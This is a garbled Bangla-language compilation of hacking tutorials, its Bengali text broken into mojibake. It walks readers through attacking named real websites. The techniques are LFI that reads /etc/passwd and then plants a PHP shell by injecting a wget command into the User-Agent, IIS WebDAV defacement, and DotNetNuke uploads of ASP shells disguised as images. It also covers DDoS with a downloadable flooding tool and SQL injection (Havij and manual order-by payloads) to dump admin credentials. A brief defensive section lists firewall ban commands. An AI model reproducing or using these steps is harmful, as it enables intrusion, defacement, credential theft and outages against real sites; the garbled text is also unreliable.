পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

